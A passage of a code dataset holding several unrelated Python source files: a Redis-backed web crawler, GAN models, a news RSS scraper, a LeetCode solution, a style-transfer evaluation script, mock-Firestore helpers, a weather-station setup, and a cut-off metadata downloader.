domain_split[split_len-2] + '.' + domain_split[split_len-1]\r\n return _url\r\n\r\n def extension_check(self, url):\r\n extension = url.split('.')[-1]\r\n black_extension_list = ['pdf', 'mp4', 'mp3', 'js', 'css', 'txt', 'jpg', 'svg', 'png', 'gif',\r\n 'zip', 'bmp', 'swf', 'rar', '7z', 'mov', 'avi', 'iso', 'exe', 'pptx', 'xlsx', 'doc']\r\n if extension not in black_extension_list:\r\n return True\r\n else:\r\n return False\r\n\r\n def crawl_more_urls(self, father_url, content):\r\n\r\n log.info(\"[+] now crawing \" + father_url + \" for more urls\")\r\n _father_url = self.url_last_part(father_url)\r\n #extract links & add to todo\r\n try:\r\n webpage = html.fromstring(content)\r\n links = webpage.xpath('//a/@href')\r\n for i in links:\r\n if i[:4] == \"http\":\r\n if self.extension_check(i):\r\n _url = self.url_last_part(i)\r\n if _url == _father_url:\r\n log.debug(i)\r\n redis_manager.add_todo(i)\r\n\r\n except Exception as e:\r\n log.exception(\"error [+] when crawling for more urls\")\r\n redis_manager.add_error(father_url)\r\n\r\n def crawl(self, urls, l):\r\n url = job_accquire(urls, l)\r\n # log.debug(\"crawling \"+url)\r\n content = self.simple_request(url)\r\n if content:\r\n self.crawl_more_urls(url, content)\r\n\r\n\r\ndef todo_init(redis_manager: myRedis.Manage_Redis):\r\n redis_manager.read_from_conf()\r\n log.debug(redis_manager.status())\r\n todo_urls = redis_manager.get_todo()\r\n finish_urls = redis_manager.get_finish()\r\n timeout_urls = redis_manager.get_timeout()\r\n forbidden_urls = redis_manager.get_forbidden()\r\n urls = todo_urls - finish_urls - timeout_urls - forbidden_urls\r\n return urls\r\n\r\n\r\ndef job_accquire(urls, l):\r\n l.acquire()\r\n log.debug(urls)\r\n url = urls.pop()\r\n log.debug(urls)\r\n l.release()\r\n return url\r\n\r\n\r\nif __name__ == \"__main__\":\r\n log.warning(\"[+] crawling raw http contents, without rendering js\")\r\n with mp.Manager() as manager:\r\n redis_manager = myRedis.Manage_Redis()\r\n spider = Spider()\r\n urls = todo_init(redis_manager)\r\n\r\n log.debug(len(urls))\r\n urls = manager.list(urls) # share memory\r\n l = mp.Lock()\r\n while True:\r\n for i in range(SPIDER_PROCESS_NUM):\r\n try:\r\n p = mp.Process(target=spider.crawl, args=(urls, l))\r\n p.start()\r\n except:\r\n continue\r\n p.join()\r\n","repo_name":"w1ndseek2/LOCCS_Spider","sub_path":"spider.py","file_name":"spider.py","file_ext":"py","file_size_in_byte":6368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"36004042018","text":"import torch \nimport torch.nn as nn \nimport torch.nn.functional as F \nimport numpy as np \n\nclass G(nn.Module): \n\n\tdef __init__(self, noise_size, start_size): \n\n\t\tnn.Module.__init__(self)\n\t\tself.layers = nn.ModuleList()\n\n\t\tself.last_layer_size = start_size\n\t\tself.layers.append(nn.Linear(noise_size,self.last_layer_size))\n\n\tdef add_layer(self, mean = 0., std = 0.02):\n\n\t\tl = nn.Linear(self.last_layer_size, self.last_layer_size*4)\n\t\tl.weight.data.normal_(mean, std)\n\t\tl.bias.data.zero_()\n\n\n\t\tself.layers.append(l)\n\t\tself.last_layer_size *= 4\n\n\tdef alpha_forward(self, x): \n\n\t\tnb_layers = len(self.layers)\n\t\tfor i in range(nb_layers-1): \n\t\t\tif i == nb_layers-2: \n\t\t\t\tx = self.layers[i](x)\n\t\t\telse:\n\t\t\t\tx = F.leaky_relu(self.layers[i](x),0.02)\n\t\treturn x \n\n\tdef forward(self, x): \n\n\t\tfor l in self.layers:\n\n\t\t\tif l == self.layers[-1]: \n\t\t\t\tx = l(x)\n\t\t\telse: \n\t\t\t\tx = F.leaky_relu(l(x), 0.02)\n\t\treturn x \n\n\t@property\n\tdef last_layer(self):\n\t\treturn self.last_layer_size\n\n\t@property\n\tdef last_layer_q(self):\n\t\treturn int(np.sqrt(self.last_layer_size))\n\t\n\n\nclass D(nn.Module): \n\n\tdef __init__(self, start_size): \n\n\t\tnn.Module.__init__(self)\n\n\t\tself.layers = nn.ModuleList()\n\n\t\tself.last_layer_size = start_size \n\t\tself.layers.append(nn.Linear(self.last_layer_size, 1))\n\n\tdef add_layer(self, mean = 0., std = 0.02):\n\n\t\tl = nn.Linear(self.last_layer_size*4, self.last_layer_size)\n\t\tl.weight.data.normal_(mean, std)\n\t\tl.bias.data.zero_()\n\n\n\t\tself.layers.append(l)\n\t\tself.last_layer_size *= 4 \n\n\tdef forward(self,x): \n\n\t\tfor l in reversed(self.layers): \n\t\t\tif l == self.layers[0]: \n\t\t\t\t# print('last layer, using lin')\n\t\t\t\tx = l(x)\n\t\t\telse: \n\t\t\t\t# print('using non lin')\n\t\t\t\tx = F.leaky_relu(l(x), 0.02)\n\t\t\t# x = F.sigmoid(l(x))\n\n\t\treturn x \n\n\tdef alpha_forward(self, x): \n\n\t\tnb_l = len(self.layers)\n\n\t\tfor i in reversed(range(nb_l-1)): \n\t\t\tif i == 0: \n\t\t\t\t# print('last layer, using lin')\n\t\t\t\tx = self.layers[i](x)\n\t\t\telse: \n\t\t\t\t# print('using non lin')\n\t\t\t\tx = F.leaky_relu(self.layers[i](x), 0.02)\n\n\t\t\t# x = F.sigmoid(self.layers[i](x))\n\n\t\treturn x \n\n# g = G(10,20)\n# g.add_layer()\n# g.add_layer()\n\n# g(torch.rand(1,10))\n# g.alpha_forward(torch.rand(1,10))\n\n# d = D(10)\n# d.add_layer()\n# d.add_layer()\n\n# d.alpha_forward(torch.rand(1,20))\n# d(torch.rand(1,40))\n","repo_name":"MoMe36/GANs","sub_path":"Progressively Growing GANs/MNIST/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"74494841039","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\n#set up connection to database\nimport pymysql\n\ncnx = pymysql.connect(host='localhost',\n port=3306,\n user='root',\n password='',\n db='text')\ncur = cnx.cursor()\n\n\n# In[2]:\n\n\n#need webdriver to open the news sites\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nimport time\n\n\n# In[3]:\n\n\n#this is the rss feed for washington post news and gets all the latest articles\nurl = \"http://feeds.washingtonpost.com/rss/national\"\nbrowser = webdriver.Chrome()\nbrowser.get(url)\ntime.sleep(1)\n\n\n# In[4]:\n\n\n#This is now washington post specific but fills a list with content\nheaders = browser.find_elements_by_xpath(\"//div[@id='items']/div/h3/a\")\ndates = browser.find_elements_by_xpath(\"//div[@id='items']/div/div[@class='pubdate']\")\n\nlist = []\nfor index, header in enumerate(headers):\n curr_dict = {}\n curr_dict['title'] = header.text\n curr_dict['url'] = header.get_attribute('href')\n curr_dict['date'] = dates[index].text[:-4]\n list.append(curr_dict)\nbrowser.quit()\nlist\n\n\n# In[5]:\n\n\n#now time to put list into the database \n\n#Also need this to convert the date strings\nfrom datetime import datetime\nsource = 'WashingtonPost'\nfor el in list:\n cur_datetime_object = datetime.strptime(el['date'], '%a, %d %b %Y %H:%M:%S')\n try:\n cur.execute(\"INSERT INTO Articles (Source, Title, URL, date) VALUES \" +\n \"(%s, %s, %s, %s)\", (source, el['title'], el['url'], cur_datetime_object))\n except:\n print(\"already contains article: \" + el['title'])\n\ncnx.commit()\n\n\n# In[6]:\n\n\n# lets read it!\nwith cnx.cursor() as cursor:\n cursor.execute(\"SELECT * from Articles\")\n print(cursor.fetchall())\n\n","repo_name":"goDawgs18/news_scrapers","sub_path":"WP_scraper.py","file_name":"WP_scraper.py","file_ext":"py","file_size_in_byte":1823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"74188051597","text":"\nclass Solution(object):\n def cleanRoom(self, robot):\n \"\"\"\n 1) backtracking\n 2) visted\n strategy: always trun right\n 3) stop: try 4 paths\n 4) expore, go back and turn right\n \"\"\"\n v = set()\n def back():\n robot.turnRight()\n robot.turnRight()\n robot.move()\n robot.turnRight()\n robot.turnRight()\n \n def dfs(cell, d ):\n v.add(cell)\n robot.clean()\n for i in range(4):\n news = (d+i) % 4\n newx, newy = cell[0] +dirs[news][0], cell[1] +dirs[news][1]\n if (newx, newy) not in v and robot.move():\n dfs((newx,newy), news)\n back()\n \n robot.turnRight()\n dirs = [(-1,0),(0,1),(1,0),(0,-1)]\n dfs((0,0),0)\n ","repo_name":"HaoWeiHe/Python-Implementation-of-Algorithms-and-Data-Structures-and-Leetcode-Solutions","sub_path":"lc_489RobotRoomCleaner.py","file_name":"lc_489RobotRoomCleaner.py","file_ext":"py","file_size_in_byte":896,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"5339908963","text":"import tensorflow as tf\nimport numpy as np\nimport skimage.io\nimport itertools\nimport os\nimport bz2\nimport argparse\nimport scipy\nimport skimage.transform\nimport time\nimport matplotlib.pyplot as plt\n\nplt.switch_backend('agg')\n\ngpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=1)\n\nCONTENT_LAYERS = ['4_1','5_1']\nLOCAL_STYLE_LAYERS = ['3_1','4_1']\nGLOBAL_STYLE_LAYERS=['2_1','3_1','4_1','5_1']\n\n\ndef conv2d(input_tensor, kernel, bias):\n kernel = np.transpose(kernel, [2, 3, 1, 0])\n x = tf.pad(input_tensor, [[0,0], [1,1], [1,1], [0,0]])\n x = tf.nn.conv2d(x, tf.constant(kernel), (1,1,1,1), 'VALID')\n x = tf.nn.bias_add(x, tf.constant(bias))\n return tf.nn.relu(x)\n\ndef avg_pooling(input_tensor, size=2):\n return tf.nn.pool(input_tensor, [size, size], 'AVG', 'VALID', strides=[size, size])\n\ndef norm(arr):\n n, *shape = arr.shape\n lst = []\n for i in range(n):\n v = arr[i, :].flatten()\n v /= np.sqrt(sum(v**2))\n lst.append(np.reshape(v, shape))\n return lst\n\ndef build_base_net(input_tensor):\n vgg19_file = os.path.join(os.path.dirname(__file__), 'vgg19.pkl.bz2')\n assert os.path.exists(vgg19_file), (\"Model file with pre-trained convolution layers not found. Download here: \"\n +\"https://github.com/alexjc/neural-doodle/releases/download/v0.0/vgg19_conv.pkl.bz2\")\n\n data = np.load(bz2.open(vgg19_file, 'rb'))\n k = 0\n net = {}\n # network divided into two parts,main and map,main downsamples the image,map dowsamples the semantic map\n net['img'] = input_tensor\n net['conv1_1'] = conv2d(net['img'], data[k], data[k+1])\n k += 2\n net['conv1_2'] = conv2d(net['conv1_1'], data[k], data[k+1])\n k += 2\n # average pooling without padding\n net['pool1'] = avg_pooling(net['conv1_2'])\n net['conv2_1'] = conv2d(net['pool1'], data[k], data[k+1])\n k += 2\n net['conv2_2'] = conv2d(net['conv2_1'], data[k], data[k+1])\n k += 2\n net['pool2'] = avg_pooling(net['conv2_2'])\n net['conv3_1'] = conv2d(net['pool2'], data[k], data[k+1])\n k += 2\n net['conv3_2'] = conv2d(net['conv3_1'], data[k], data[k+1])\n k += 2\n net['conv3_3'] = conv2d(net['conv3_2'], data[k], data[k+1])\n k += 2\n net['conv3_4'] = conv2d(net['conv3_3'], data[k], data[k+1])\n k += 2\n net['pool3'] = avg_pooling(net['conv3_4'])\n net['conv4_1'] = conv2d(net['pool3'], data[k], data[k+1])\n k += 2\n net['conv4_2'] = conv2d(net['conv4_1'], data[k], data[k+1])\n k += 2\n net['conv4_3'] = conv2d(net['conv4_2'], data[k], data[k+1])\n k += 2\n net['conv4_4'] = conv2d(net['conv4_3'], data[k], data[k+1])\n k += 2\n net['pool4'] = avg_pooling(net['conv4_4'])\n net['conv5_1'] = conv2d(net['pool4'], data[k], data[k+1])\n k += 2\n net['conv5_2'] = conv2d(net['conv5_1'], data[k], data[k+1])\n k += 2\n net['conv5_3'] = conv2d(net['conv5_2'], data[k], data[k+1])\n k += 2\n net['conv5_4'] = conv2d(net['conv5_3'], data[k], data[k+1])\n k += 2\n net['main'] = net['conv5_4']\n\n return net\n\n\ndef extract_target_data(content, style):\n pixel_mean = np.array([103.939, 116.779, 123.680], dtype=np.float32).reshape((1,1,1,3))\n # local style patches extracting\n input_tensor = style-pixel_mean\n net = build_base_net(input_tensor)\n local_features = [net['conv'+layer] for layer in LOCAL_STYLE_LAYERS]\n \n tensors = []\n for f in local_features:\n dim = f.get_shape()[-1].value\n # x = (batch, height, width, patches)\n x = tf.extract_image_patches(f, (1,3,3,1), (1,1,1,1), (1,1,1,1), 'VALID')\n # x = (-1, patch_heigth, patch_width, channles)\n tensors.append(tf.reshape(x, (-1, 3, 3, dim)))\n \n # content features\n input_tensor = content-pixel_mean\n net = build_base_net(input_tensor) \n content_features = [net['conv'+layer] for layer in CONTENT_LAYERS]\n content_data = []\n \n # feature correlations\n input_tensor = style-pixel_mean\n net = build_base_net(input_tensor) \n global_features = [net['conv'+layer] for layer in GLOBAL_STYLE_LAYERS]\n global_gram = []\n\n for f in global_features:\n N=int(f.shape[3])\n M=int(f.shape[1]*f.shape[2])\n f=tf.reshape(f,(M,N)) \n global_gram.append(tf.matmul(tf.transpose(f),f))\n global_data = []\n \n patches = []\n with tf.Session(config=tf.ConfigProto(gpu_options=gpu_options)) as sess:\n sess.run(tf.global_variables_initializer())\n for t in tensors:\n patches.append(t.eval())\n for c in content_features:\n content_data.append(c.eval())\n for g in global_gram:\n global_data.append(g.eval())\n\n return content_data,patches,global_data\n\n \ndef format_and_norm(arr):\n norm = arr/np.sqrt(np.sum(arr**2))\n return norm\n\n\nclass Model(object):\n def __init__(self, args, content, style, stylized, hist_sim):\n self.args = args\n if len(args.device)>3 and args.device[:3]=='gpu':\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = args.device[3:]\n elif args.device=='cpu':\n os.environ[\"CUDA_DEVICE_ORDER\"] = \"PCI_BUS_ID\"\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = \"-1\"\n self.pixel_mean = np.array([103.939, 116.779, 123.680], dtype=np.float32).reshape((1,1,1,3))\n\n self.content = np.expand_dims(content, 0).astype(np.float32)\n self.style = np.expand_dims(style, 0).astype(np.float32)\n self.stylized= np.expand_dims(stylized, 0).astype(np.float32)\n \n # get target content features, local patches, global feature correlations\n self.content_data, self.local_data, self.global_data= extract_target_data(self.content, self.style)\n tf.reset_default_graph()\n \n self.net = build_base_net(self.stylized-self.pixel_mean)\n\n self.content_features = [self.net['conv'+layer] for layer in CONTENT_LAYERS]\n self.local_features = [self.net['conv'+layer] for layer in LOCAL_STYLE_LAYERS]\n self.global_features = [self.net['conv'+layer] for layer in GLOBAL_STYLE_LAYERS]\n \n # local pattern similarity\n self.local_sim1 = 0\n self.local_sim2 = 0\n for i in range(len(LOCAL_STYLE_LAYERS)):\n sem = self.local_features[i]\n patches = tf.extract_image_patches(sem, (1,3,3,1), (1,1,1,1), (1,1,1,1), 'VALID')\n patches = tf.reshape(patches, (-1, 3, 3, sem.shape[-1].value)) \n \n p1 = tf.sqrt(tf.reduce_sum(patches**2,[1,2,3]))\n p1 = tf.reshape(p1, [-1,1,1,1])\n norm_patch = patches/p1\n norm_patch = tf.reshape(norm_patch, [patches.shape[0].value,-1])\n \n p2 = tf.sqrt(tf.reduce_sum(self.local_data[i]**2,[1,2,3]))\n p2 = tf.reshape(p2, [-1,1,1,1])\n norm_target = self.local_data[i]/p2\n norm_target = tf.reshape(norm_target, [self.local_data[i].shape[0], -1])\n\n sim = tf.matmul(norm_patch, tf.transpose(norm_target))\n max_ind = tf.argmax(sim, axis=-1)\n max_ind = tf.reshape(max_ind, [-1])\n target_patches = tf.gather(self.local_data[i], max_ind)\n \n # compute the number of different style patches in style image\n s_sim = tf.matmul(norm_target, tf.transpose(norm_target))\n s_max_ind = tf.argmax(s_sim, axis=-1)\n s_max_ind = tf.reshape(s_max_ind, [-1])\n \n \n with tf.Session(config=tf.ConfigProto(gpu_options=gpu_options)) as sess:\n category_x = len(set(max_ind.eval()))\n category_s = len(set(s_max_ind.eval()))\n\n\n p3 = tf.sqrt(tf.reduce_sum(target_patches**2,[1,2,3]))\n p3 = tf.reshape(p3, [-1,1,1,1])\n target_norm_patch = target_patches/p3\n target_norm_patch = tf.reshape(target_norm_patch, [target_patches.shape[0].value, -1])\n \n all_sim = tf.matmul(norm_patch, tf.transpose(target_norm_patch)) \n\n self.local_sim1 += tf.reduce_mean(tf.diag_part(all_sim))\n #self.local_sim2 += len(sett)/max_ind.shape[0].value\n self.local_sim2 += category_x/category_s\n\n weight_of_part1 = 0.5\n self.local_sim = weight_of_part1*(self.local_sim1/len(LOCAL_STYLE_LAYERS)) + (1-weight_of_part1)*(self.local_sim2/len(LOCAL_STYLE_LAYERS))\n \n \n # content fidelity similarity\n self.content_sim = 0\n for i in range(len(CONTENT_LAYERS)):\n sem = self.content_features[i]\n sem_target = self.content_data[i]\n stylized_content_norm = sem/tf.sqrt(tf.reduce_sum(sem**2))\n target_content_norm = sem_target/tf.sqrt(tf.reduce_sum(sem_target**2))\n stylized_content = tf.reshape(stylized_content_norm, [-1,sem.shape[1]*sem.shape[2]*sem.shape[3]])\n target_content = tf.reshape(target_content_norm, [sem_target.shape[1]*sem_target.shape[2]*sem_target.shape[3], -1])\n self.content_sim += tf.reduce_mean(tf.matmul(stylized_content, target_content))\n\n self.content_sim = self.content_sim/len(CONTENT_LAYERS)\n\n\n \n # global effect similarity\n self.global_gram = []\n for f in self.global_features:\n N=int(f.shape[3])\n M=int(f.shape[1]*f.shape[2])\n f=tf.reshape(f,(M,N)) \n self.global_gram.append(tf.matmul(tf.transpose(f),f))\n\n self.global_sim = 0\n for i in range(len(GLOBAL_STYLE_LAYERS)):\n sem = self.global_gram[i]\n sem_target = self.global_data[i]\n stylized_global_norm = sem/tf.sqrt(tf.reduce_sum(sem**2))\n target_global_norm = sem_target/tf.sqrt(tf.reduce_sum(sem_target**2))\n stylized_global = tf.reshape(stylized_global_norm, [-1,sem.shape[0]*sem.shape[1]])\n target_global = tf.reshape(target_global_norm, [sem_target.shape[0]*sem_target.shape[1], -1])\n self.global_sim += tf.reduce_mean(tf.matmul(stylized_global, target_global))\n\n weight_of_gram = 0.5\n self.global_sim = weight_of_gram*self.global_sim/len(GLOBAL_STYLE_LAYERS) + (1-weight_of_gram)*hist_sim\n\n with tf.Session(config=tf.ConfigProto(gpu_options=gpu_options)) as sess:\n print('content fidelity:%f, global effect:%f, local patterns:%f.'%\n (self.content_sim.eval(), self.global_sim.eval(), self.local_sim.eval()))\n\n \n\ndef main():\n parser = argparse.ArgumentParser(description='evaluate the quality of neural style transfer.',\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n add_arg = parser.add_argument\n\n add_arg('--content', default=None, type=str, help='Content image path.')\n add_arg('--style', default=None, type=str, help='Style image path.')\n add_arg('--stylized', default=None, type=str, help='Stylized image path.')\n add_arg('--device', default='cpu', type=str, help='devices: \"gpu\"(default: all gpu) or \"gpui\"(e.g. gpu0) or \"cpu\" ')\n \n \n args = parser.parse_args()\n \n content = skimage.io.imread(args.content)\n style = skimage.io.imread(args.style)\n stylized = skimage.io.imread(args.stylized)\n \n if stylized.shape[0] != content.shape[0] or stylized.shape[1] != content.shape[1]:\n stylized = skimage.transform.resize(stylized,(content.shape[0],content.shape[1]))\n style = skimage.transform.resize(style,(content.shape[0],content.shape[1]))\n\n # color histogram similarity\n hist_sim = 0\n for i in range(3):\n n_style,_,_ = plt.hist(style[:,:,i].flatten(), bins=128)\n n_stylized,_,_ = plt.hist(stylized[:,:,i].flatten(), bins=128)\n #norm = max(max(n_style),max(n_stylized))\n #hist_sim += 1 - np.mean(abs(n_style-n_stylized)/norm)\n \n n_style = n_style/np.sqrt(np.sum(n_style**2))\n n_stylized = n_stylized/np.sqrt(np.sum(n_stylized**2))\n n_style = np.reshape(n_style, [1,-1])\n n_stylized = np.reshape(n_stylized, [-1,1])\n hist_sim += np.mean(np.dot(n_style, n_stylized))\n hist_sim = hist_sim / 3\n # print (hist_sim)\n\n model = Model(args, content, style, stylized, hist_sim)\n\n\nif __name__ == '__main__':\n tic = time.time()\n main()\n print (\"all time:%.4f\"%(time.time()-tic))\n","repo_name":"EndyWon/StyleEval","sub_path":"quality_criteria.py","file_name":"quality_criteria.py","file_ext":"py","file_size_in_byte":12293,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"29"} +{"seq_id":"14303653231","text":"import operator\nimport random\nimport string\nfrom datetime import datetime as dt\nfrom functools import reduce\nfrom typing import (Dict, Any, Tuple, TypeVar, Sequence, Iterator)\n\nT = TypeVar('T')\nKeyValuePair = Tuple[str, Dict[str, Any]]\nDocument = Dict[str, Any]\nCollection = Dict[str, Document]\nStore = Dict[str, Collection]\n\n\ndef get_by_path(data: Dict[str, T], path: Sequence[str], create_nested: bool = False) -> T:\n \"\"\"Access a nested object in root by item sequence.\"\"\"\n\n def get_or_create(a, b):\n if b not in a:\n a[b] = {}\n return a[b]\n\n if create_nested:\n return reduce(get_or_create, path, data)\n else:\n return reduce(operator.getitem, path, data)\n\n\ndef set_by_path(data: Dict[str, T], path: Sequence[str], value: T, create_nested: bool = True):\n \"\"\"Set a value in a nested object in root by item sequence.\"\"\"\n get_by_path(data, path[:-1], create_nested=True)[path[-1]] = value\n\n\ndef delete_by_path(data: Dict[str, T], path: Sequence[str]):\n \"\"\"Delete a value in a nested object in root by item sequence.\"\"\"\n del get_by_path(data, path[:-1])[path[-1]]\n\n\ndef generate_random_string():\n return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(20))\n\n\nclass Timestamp:\n \"\"\"\n Imitates some properties of `google.protobuf.timestamp_pb2.Timestamp`\n \"\"\"\n\n def __init__(self, timestamp: float):\n self._timestamp = timestamp\n\n @classmethod\n def from_now(cls):\n timestamp = dt.now().timestamp()\n return cls(timestamp)\n\n @property\n def seconds(self):\n return str(self._timestamp).split('.')[0]\n\n @property\n def nanos(self):\n return str(self._timestamp).split('.')[1]\n\n\ndef get_document_iterator(document: Dict[str, Any], prefix: str = '') -> Iterator[Tuple[str, Any]]:\n \"\"\"\n :returns: (dot-delimited path, value,)\n \"\"\"\n for key, value in document.items():\n if isinstance(value, dict):\n for item in get_document_iterator(value, prefix=key):\n yield item\n\n if not prefix:\n yield key, value\n else:\n yield '{}.{}'.format(prefix, key), value\n\n\n# Copyright 2018 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\nimport re\n\n_FIELD_PATH_MISSING_TOP = \"{!r} is not contained in the data\"\n_FIELD_PATH_MISSING_KEY = \"{!r} is not contained in the data for the key {!r}\"\n_FIELD_PATH_WRONG_TYPE = (\n \"The data at {!r} is not a dictionary, so it cannot contain the key {!r}\"\n)\n\n_FIELD_PATH_DELIMITER = \".\"\n_BACKSLASH = \"\\\\\"\n_ESCAPED_BACKSLASH = _BACKSLASH * 2\n_BACKTICK = \"`\"\n_ESCAPED_BACKTICK = _BACKSLASH + _BACKTICK\n\n_SIMPLE_FIELD_NAME = re.compile(\"^[_a-zA-Z][_a-zA-Z0-9]*$\")\n_LEADING_ALPHA_INVALID = re.compile(\"^[_a-zA-Z][_a-zA-Z0-9]*[^_a-zA-Z0-9]\")\nPATH_ELEMENT_TOKENS = [\n (\"SIMPLE\", r\"[_a-zA-Z][_a-zA-Z0-9]*\"), # unquoted elements\n (\"QUOTED\", r\"`(?:\\\\`|[^`])*?`\"), # quoted elements, unquoted\n (\"DOT\", r\"\\.\"), # separator\n]\nTOKENS_PATTERN = \"|\".join(\"(?P<{}>{})\".format(*pair) for pair in PATH_ELEMENT_TOKENS)\nTOKENS_REGEX = re.compile(TOKENS_PATTERN)\n\n\ndef _tokenize_field_path(path: str):\n \"\"\"Lex a field path into tokens (including dots).\n\n Args:\n path (str): field path to be lexed.\n Returns:\n List(str): tokens\n \"\"\"\n pos = 0\n get_token = TOKENS_REGEX.match\n match = get_token(path)\n while match is not None:\n type_ = match.lastgroup\n value = match.group(type_)\n yield value\n pos = match.end()\n match = get_token(path, pos)\n if pos != len(path):\n raise ValueError(\"Path {} not consumed, residue: {}\".format(path, path[pos:]))\n\n\ndef split_field_path(path: str):\n \"\"\"Split a field path into valid elements (without dots).\n\n Args:\n path (str): field path to be lexed.\n Returns:\n List(str): tokens\n Raises:\n ValueError: if the path does not match the elements-interspersed-\n with-dots pattern.\n \"\"\"\n if not path:\n return []\n\n elements = []\n want_dot = False\n\n for element in _tokenize_field_path(path):\n if want_dot:\n if element != \".\":\n raise ValueError(\"Invalid path: {}\".format(path))\n else:\n want_dot = False\n else:\n if element == \".\":\n raise ValueError(\"Invalid path: {}\".format(path))\n elements.append(element)\n want_dot = True\n\n if not want_dot or not elements:\n raise ValueError(\"Invalid path: {}\".format(path))\n\n return elements\n\n\ndef parse_field_path(api_repr: str):\n \"\"\"Parse a **field path** from into a list of nested field names.\n\n See :func:`field_path` for more on **field paths**.\n\n Args:\n api_repr (str):\n The unique Firestore api representation which consists of\n either simple or UTF-8 field names. It cannot exceed\n 1500 bytes, and cannot be empty. Simple field names match\n ``'^[_a-zA-Z][_a-zA-Z0-9]*$'``. All other field names are\n escaped by surrounding them with backticks.\n\n Returns:\n List[str, ...]: The list of field names in the field path.\n \"\"\"\n # code dredged back up from\n # https://github.com/googleapis/google-cloud-python/pull/5109/files\n field_names = []\n for field_name in split_field_path(api_repr):\n # non-simple field name\n if field_name[0] == \"`\" and field_name[-1] == \"`\":\n field_name = field_name[1:-1]\n field_name = field_name.replace(_ESCAPED_BACKTICK, _BACKTICK)\n field_name = field_name.replace(_ESCAPED_BACKSLASH, _BACKSLASH)\n field_names.append(field_name)\n return field_names\n\n# def parse_field_path(api_repr: str):\n# return api_repr.replace(\"`\").split(\".\")","repo_name":"tasterkitchens/python-mock-firestore","sub_path":"mockfirestore/_helpers.py","file_name":"_helpers.py","file_ext":"py","file_size_in_byte":6299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"29"} +{"seq_id":"5839081413","text":"from playweather_station.core import PlayWeatherStation\n\nfrom playweather_station.sensors import co, DHT22, lluvia, viento, ccs811, UV\n\nfrom playweather_station.plugins import weather_underground\n\nimport configparser\n\n\ndef default_config():\n new_config = configparser.ConfigParser()\n new_config[\"PLAYWEATHER_STATION\"] = {\n \"id\": \"station\",\n \"delivery_interval\": \"5\",\n }\n return new_config\n\n\ndef validate(config):\n if \"PLAYWEATHER_STATION\" not in config:\n return False\n if \"id\" not in config[\"PLAYWEATHER_STATION\"]:\n return False\n return True\n\n\n# read configuration file\nconfig = configparser.ConfigParser()\nconfig.read('config.ini')\n\nif not validate(config):\n config = default_config()\n\npw = PlayWeatherStation(fake=True)\npw.delivery_url = \"https://playweather-pucmm.herokuapp.com\"\npw.delivery_port = \"\"\npw.should_deliver_data = False\npw.should_persist_data = False\npw.gps_on = False\n\n# Register module classes in here\n# --> pw.register(module.Class)\n\npw.register(lluvia.Rain, 'pluvial')\npw.register(DHT22.DHT22, 'DHT22')\npw.register(viento.Wind, 'viento')\npw.register(ccs811.CCS811, 'co2')\npw.register(UV.UV, 'uv')\npw.register(co.CO, 'co')\n\npw.weather_underground_deliver_data = weather_underground.deliver_data\npw.weather_underground_definitions ={\n 'winddir': 'viento_direccion',\n 'rainin': 'pluvial',\n 'windspeedmph': 'viento_velocidad',\n # 'tempf': 'DHT22_temp',\n # 'humidity': 'DHT22_humedad',\n}\n\n\ntry:\n pw.initialize(config)\nexcept Exception as e:\n print('An error has occurred: ', e)\n pw.stop()\nfinally:\n pw.stop()\n\n","repo_name":"jaimevp54/playweather-station","sub_path":"initialize-dev.py","file_name":"initialize-dev.py","file_ext":"py","file_size_in_byte":1603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"38299424324","text":"from __future__ import annotations\n\nfrom logging import getLogger\nfrom shutil import move, rmtree\nfrom urllib.request import urlretrieve\nfrom zipfile import ZipFile\n\nfrom .state import state\nfrom .util import create_temp_dir, remove_dir\n\nlogger = getLogger(__name__)\n\n\ndef trash_metadata_used() -> bool:\n \"\"\"\n Read configuration for all loaded instances in the global state, and determine\n whether or not any of them use TRaSH-Guides metadata.\n\n Returns:\n `True` if TRaSH-Guides metadata is used by any instance configuration, otherwise `False`\n \"\"\"\n\n for plugin_name in state.active_plugins:\n for instance_name, instance_config in state.instance_configs[plugin_name].items():\n with state._with_context(plugin_name=plugin_name, instance_name=instance_name):\n if state.managers[plugin_name].uses_trash_metadata(instance_config):\n return True\n\n return False\n\n\ndef fetch_trash_metadata() -> None:\n \"\"\"\n Download the TRaSH-Guides metadata from the URL specified in the Buildarr config\n to a temporary directory.\n\n The temporary path gets added to the Buildarr global state, in addition to\n being yielded to the caller.\n \"\"\"\n\n try:\n logger.debug(\"Creating TRaSH metadata download temporary directory\")\n temp_dir = create_temp_dir()\n logger.debug(\"Finished creating TRaSH metadata download temporary directory\")\n\n trash_metadata_filename = temp_dir / \"trash-metadata.zip\"\n\n logger.debug(\"Downloading TRaSH metadata\")\n urlretrieve( # noqa: S310 # `trash_metadata_download_url` is constrained to HTTP URLs.\n state.config.buildarr.trash_metadata_download_url,\n trash_metadata_filename,\n )\n logger.debug(\"Finished downloading TRaSH metadata\")\n\n logger.debug(\"Extracting TRaSH metadata\")\n with ZipFile(trash_metadata_filename) as zip_file:\n zip_file.extractall(path=temp_dir / \"__trash-metadata__\")\n 